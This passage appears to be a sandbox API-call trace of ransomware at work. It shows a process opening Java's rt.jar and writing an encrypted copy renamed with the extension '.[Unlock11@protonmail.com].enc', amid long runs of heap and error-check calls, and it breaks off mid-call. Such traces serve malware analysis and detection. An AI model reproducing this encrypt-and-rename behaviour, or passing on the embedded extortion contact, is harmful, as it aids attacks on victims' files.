ftCreationTime.dwLowDateTime=0xa90a30aa, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90a30aa, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa7233eb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x340865b)) returned 1 [0126.689] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b7dc | out: pbBuffer=0x366b7dc) returned 1 [0126.689] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0126.690] GetFileType (hFile=0x39c) returned 0x1 [0126.690] GetFileType (hFile=0x39c) returned 0x1 [0126.690] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.690] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.690] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.690] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.690] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.690] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.690] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.690] GetCurrentThreadId () returned 0x9b0 [0126.691] GetLastError () returned 0x0 [0126.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265428 | out: hHeap=0x2ad0000) returned 1 [0126.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0126.691] GetLastError () returned 0x0 [0126.691] GetLastError () returned 0x0 [0126.691] GetLastError () returned 0x0 [0126.691] GetLastError () returned 0x0 [0126.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265388 [0126.691] GetLastError () returned 0x0 [0126.691] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0126.692] GetFileType (hFile=0x3ac) returned 0x1 [0126.692] GetLastError () returned 0x0 [0126.692] GetCurrentThreadId () returned 0x9b0 [0126.692] GetLastError () returned 0x0 [0126.692] GetFileType (hFile=0x3ac) returned 0x1 [0126.693] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.693] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.693] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.693] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.693] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.693] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.693] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.693] GetLastError () returned 0x0 [0126.693] GetCurrentThreadId () returned 0x9b0 [0126.693] GetLastError () returned 0x0 [0126.693] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265388 | out: hHeap=0x2ad0000) returned 1 [0126.693] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a24b8 | out: hHeap=0x2ad0000) returned 1 [0126.693] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0126.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0126.694] GetLastError () returned 0x0 [0126.694] GetLastError () returned 0x0 [0126.694] GetCurrentThreadId () returned 0x9b0 [0126.694] GetLastError () returned 0x0 [0126.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0126.694] GetLastError () returned 0x0 [0126.694] GetLastError () returned 0x0 [0126.694] GetCurrentThreadId () returned 0x9b0 [0126.694] GetLastError () returned 0x0 [0126.694] GetLastError () returned 0x0 [0126.699] GetLastError () returned 0x0 [0126.699] GetCurrentThreadId () returned 0x9b0 [0126.699] GetLastError () returned 0x0 [0126.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265338 | out: hHeap=0x2ad0000) returned 1 [0126.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.700] GetCurrentThreadId () returned 0x9b0 [0126.700] GetLastError () returned 0x0 [0126.700] GetLastError () returned 0x0 [0126.700] GetLastError () returned 0x0 [0126.701] GetLastError () returned 0x0 [0126.701] GetCurrentThreadId () returned 0x9b0 [0126.701] GetLastError () returned 0x0 [0126.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0126.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0126.701] GetLastError () returned 0x0 [0126.703] GetLastError () returned 0x0 [0126.703] GetCurrentThreadId () returned 0x9b0 [0126.703] GetLastError () returned 0x0 [0126.703] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.703] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.703] GetLastError () returned 0x0 [0126.704] GetLastError () returned 0x0 [0126.704] GetCurrentThreadId () returned 0x9b0 [0126.704] GetLastError () returned 0x0 [0126.704] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.704] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265338 [0126.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265348 | out: hHeap=0x2ad0000) returned 1 [0126.705] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.705] GetCurrentThreadId () returned 0x9b0 [0126.705] GetLastError () returned 0x0 [0126.705] GetLastError () returned 0x0 [0126.706] GetLastError () returned 0x0 [0126.706] GetLastError () returned 0x0 [0126.706] GetCurrentThreadId () returned 0x9b0 [0126.706] GetLastError () returned 0x0 [0126.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0126.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0126.706] GetLastError () returned 0x0 [0126.707] GetLastError () returned 0x0 [0126.707] GetCurrentThreadId () returned 0x9b0 [0126.707] GetLastError () returned 0x0 [0126.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.708] GetLastError () returned 0x0 [0126.708] GetLastError () returned 0x0 [0126.714] GetCurrentThreadId () returned 0x9b0 [0126.714] GetLastError () returned 0x0 [0126.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0126.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265338 | out: hHeap=0x2ad0000) returned 1 [0126.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.715] GetLastError () returned 0x0 [0126.715] GetLastError () returned 0x0 [0126.715] GetLastError () returned 0x0 [0126.715] GetLastError () returned 0x0 [0126.716] GetCurrentThreadId () returned 0x9b0 [0126.716] GetLastError () returned 0x0 [0126.716] GetCurrentThreadId () returned 0x9b0 [0126.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0126.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0126.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.716] GetLastError () returned 0x0 [0126.717] GetLastError () returned 0x0 [0126.717] GetCurrentThreadId () returned 0x9b0 [0126.717] GetLastError () returned 0x0 [0126.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.718] GetLastError () returned 0x0 [0126.718] GetLastError () returned 0x0 [0126.719] GetCurrentThreadId () returned 0x9b0 [0126.719] GetLastError () returned 0x0 [0126.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265348 [0126.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0126.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.719] GetLastError () returned 0x0 [0126.720] GetLastError () returned 0x0 [0126.720] GetLastError () returned 0x0 [0126.720] GetLastError () returned 0x0 [0126.720] GetCurrentThreadId () returned 0x9b0 [0126.720] GetLastError () returned 0x0 [0126.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.720] GetCurrentThreadId () returned 0x9b0 [0126.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0126.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.720] GetLastError () returned 0x0 [0126.721] GetLastError () returned 0x0 [0126.722] GetCurrentThreadId () returned 0x9b0 [0126.722] GetLastError () returned 0x0 [0126.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.722] GetLastError () returned 0x0 [0126.722] GetLastError () returned 0x0 [0126.724] GetCurrentThreadId () returned 0x9b0 [0126.724] GetLastError () returned 0x0 [0126.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265428 [0126.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265348 | out: hHeap=0x2ad0000) returned 1 [0126.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.724] GetLastError () returned 0x0 [0126.724] GetLastError () returned 0x0 [0126.725] GetLastError () returned 0x0 [0126.725] GetLastError () returned 0x0 [0126.725] GetCurrentThreadId () returned 0x9b0 [0126.725] GetLastError () returned 0x0 [0126.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0126.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0126.725] GetLastError () returned 0x0 [0126.727] GetLastError () returned 0x0 [0126.727] GetCurrentThreadId () returned 0x9b0 [0126.727] GetLastError () returned 0x0 [0126.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.727] GetLastError () returned 0x0 [0126.728] GetLastError () returned 0x0 [0126.729] GetCurrentThreadId () returned 0x9b0 [0126.729] GetLastError () returned 0x0 [0126.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.729] GetCurrentThreadId () returned 0x9b0 [0126.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0126.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265428 | out: hHeap=0x2ad0000) returned 1 [0126.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.729] GetLastError () returned 0x0 [0126.730] GetLastError () returned 0x0 [0126.730] GetLastError () returned 0x0 [0126.730] GetLastError () returned 0x0 [0126.730] GetCurrentThreadId () returned 0x9b0 [0126.730] GetLastError () returned 0x0 [0126.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.730] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0126.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0126.730] GetLastError () returned 0x0 [0126.731] GetLastError () returned 0x0 [0126.731] GetCurrentThreadId () returned 0x9b0 [0126.732] GetLastError () returned 0x0 [0126.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.732] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.732] GetLastError () returned 0x0 [0126.732] GetLastError () returned 0x0 [0126.732] GetCurrentThreadId () returned 0x9b0 [0126.732] GetLastError () returned 0x0 [0126.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.732] GetCurrentThreadId () returned 0x9b0 [0126.732] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265338 [0126.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0126.733] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.733] GetLastError () returned 0x0 [0126.733] GetLastError () returned 0x0 [0126.733] GetLastError () returned 0x0 [0126.733] GetLastError () returned 0x0 [0126.733] GetCurrentThreadId () returned 0x9b0 [0126.733] GetLastError () returned 0x0 [0126.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.734] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0126.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.734] GetLastError () returned 0x0 [0126.735] GetLastError () returned 0x0 [0126.735] GetCurrentThreadId () returned 0x9b0 [0126.735] GetLastError () returned 0x0 [0126.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.735] GetLastError () returned 0x0 [0126.736] GetLastError () returned 0x0 [0126.737] GetCurrentThreadId () returned 0x9b0 [0126.737] GetLastError () returned 0x0 [0126.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265428 [0126.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265338 | out: hHeap=0x2ad0000) returned 1 [0126.738] GetCurrentThreadId () returned 0x9b0 [0126.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.738] GetLastError () returned 0x0 [0126.738] GetLastError () returned 0x0 [0126.738] GetLastError () returned 0x0 [0126.738] GetLastError () returned 0x0 [0126.738] GetCurrentThreadId () returned 0x9b0 [0126.739] GetLastError () returned 0x0 [0126.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0126.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.739] GetLastError () returned 0x0 [0126.740] GetLastError () returned 0x0 [0126.740] GetCurrentThreadId () returned 0x9b0 [0126.740] GetLastError () returned 0x0 [0126.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.740] GetLastError () returned 0x0 [0126.741] GetLastError () returned 0x0 [0126.741] GetCurrentThreadId () returned 0x9b0 [0126.741] GetLastError () returned 0x0 [0126.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0126.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265428 | out: hHeap=0x2ad0000) returned 1 [0126.741] GetCurrentThreadId () returned 0x9b0 [0126.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.741] GetLastError () returned 0x0 [0126.742] GetLastError () returned 0x0 [0126.742] GetLastError () returned 0x0 [0126.742] GetLastError () returned 0x0 [0126.742] GetCurrentThreadId () returned 0x9b0 [0126.742] GetLastError () returned 0x0 [0126.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0126.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.742] GetLastError () returned 0x0 [0126.745] GetLastError () returned 0x0 [0126.745] GetCurrentThreadId () returned 0x9b0 [0126.745] GetLastError () returned 0x0 [0126.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.745] GetLastError () returned 0x0 [0126.745] GetLastError () returned 0x0 [0126.748] GetCurrentThreadId () returned 0x9b0 [0126.748] GetLastError () returned 0x0 [0126.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265338 [0126.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0126.748] GetCurrentThreadId () returned 0x9b0 [0126.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.749] GetLastError () returned 0x0 [0126.749] GetLastError () returned 0x0 [0126.749] GetLastError () returned 0x0 [0126.749] GetLastError () returned 0x0 [0126.749] GetCurrentThreadId () returned 0x9b0 [0126.749] GetLastError () returned 0x0 [0126.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0126.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.750] GetLastError () returned 0x0 [0126.751] GetLastError () returned 0x0 [0126.751] GetCurrentThreadId () returned 0x9b0 [0126.751] GetLastError () returned 0x0 [0126.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.751] GetLastError () returned 0x0 [0126.751] GetLastError () returned 0x0 [0126.752] GetCurrentThreadId () returned 0x9b0 [0126.752] GetLastError () returned 0x0 [0126.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653b8 [0126.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265338 | out: hHeap=0x2ad0000) returned 1 [0126.752] GetCurrentThreadId () returned 0x9b0 [0126.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.752] GetLastError () returned 0x0 [0126.753] GetLastError () returned 0x0 [0126.753] GetLastError () returned 0x0 [0126.753] GetLastError () returned 0x0 [0126.753] GetCurrentThreadId () returned 0x9b0 [0126.753] GetLastError () returned 0x0 [0126.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0126.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0126.754] GetLastError () returned 0x0 [0126.755] GetLastError () returned 0x0 [0126.755] GetCurrentThreadId () returned 0x9b0 [0126.755] GetLastError () returned 0x0 [0126.755] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.756] GetLastError () returned 0x0 [0126.756] GetLastError () returned 0x0 [0126.757] GetCurrentThreadId () returned 0x9b0 [0126.757] GetLastError () returned 0x0 [0126.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265338 [0126.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0126.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.758] GetCurrentThreadId () returned 0x9b0 [0126.758] GetLastError () returned 0x0 [0126.758] GetLastError () returned 0x0 [0126.758] GetLastError () returned 0x0 [0126.759] GetLastError () returned 0x0 [0126.759] GetCurrentThreadId () returned 0x9b0 [0126.759] GetLastError () returned 0x0 [0126.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0126.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0126.760] GetLastError () returned 0x0 [0126.761] GetLastError () returned 0x0 [0126.761] GetCurrentThreadId () returned 0x9b0 [0126.761] GetLastError () returned 0x0 [0126.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.761] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.761] GetLastError () returned 0x0 [0126.761] GetLastError () returned 0x0 [0126.762] GetCurrentThreadId () returned 0x9b0 [0126.762] GetLastError () returned 0x0 [0126.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.762] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265428 [0126.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265338 | out: hHeap=0x2ad0000) returned 1 [0126.762] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.762] GetCurrentThreadId () returned 0x9b0 [0126.762] GetLastError () returned 0x0 [0126.762] GetLastError () returned 0x0 [0126.763] GetLastError () returned 0x0 [0126.763] GetLastError () returned 0x0 [0126.763] GetCurrentThreadId () returned 0x9b0 [0126.763] GetLastError () returned 0x0 [0126.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0126.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0126.763] GetLastError () returned 0x0 [0126.765] GetLastError () returned 0x0 [0126.765] GetCurrentThreadId () returned 0x9b0 [0126.765] GetLastError () returned 0x0 [0126.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.765] GetLastError () returned 0x0 [0126.766] GetLastError () returned 0x0 [0126.766] GetCurrentThreadId () returned 0x9b0 [0126.767] GetLastError () returned 0x0 [0126.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265338 [0126.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265428 | out: hHeap=0x2ad0000) returned 1 [0126.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.767] GetCurrentThreadId () returned 0x9b0 [0126.767] GetLastError () returned 0x0 [0126.767] GetLastError () returned 0x0 [0126.768] GetLastError () returned 0x0 [0126.768] GetLastError () returned 0x0 [0126.768] GetCurrentThreadId () returned 0x9b0 [0126.768] GetLastError () returned 0x0 [0126.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.768] RtlAllocateHeap 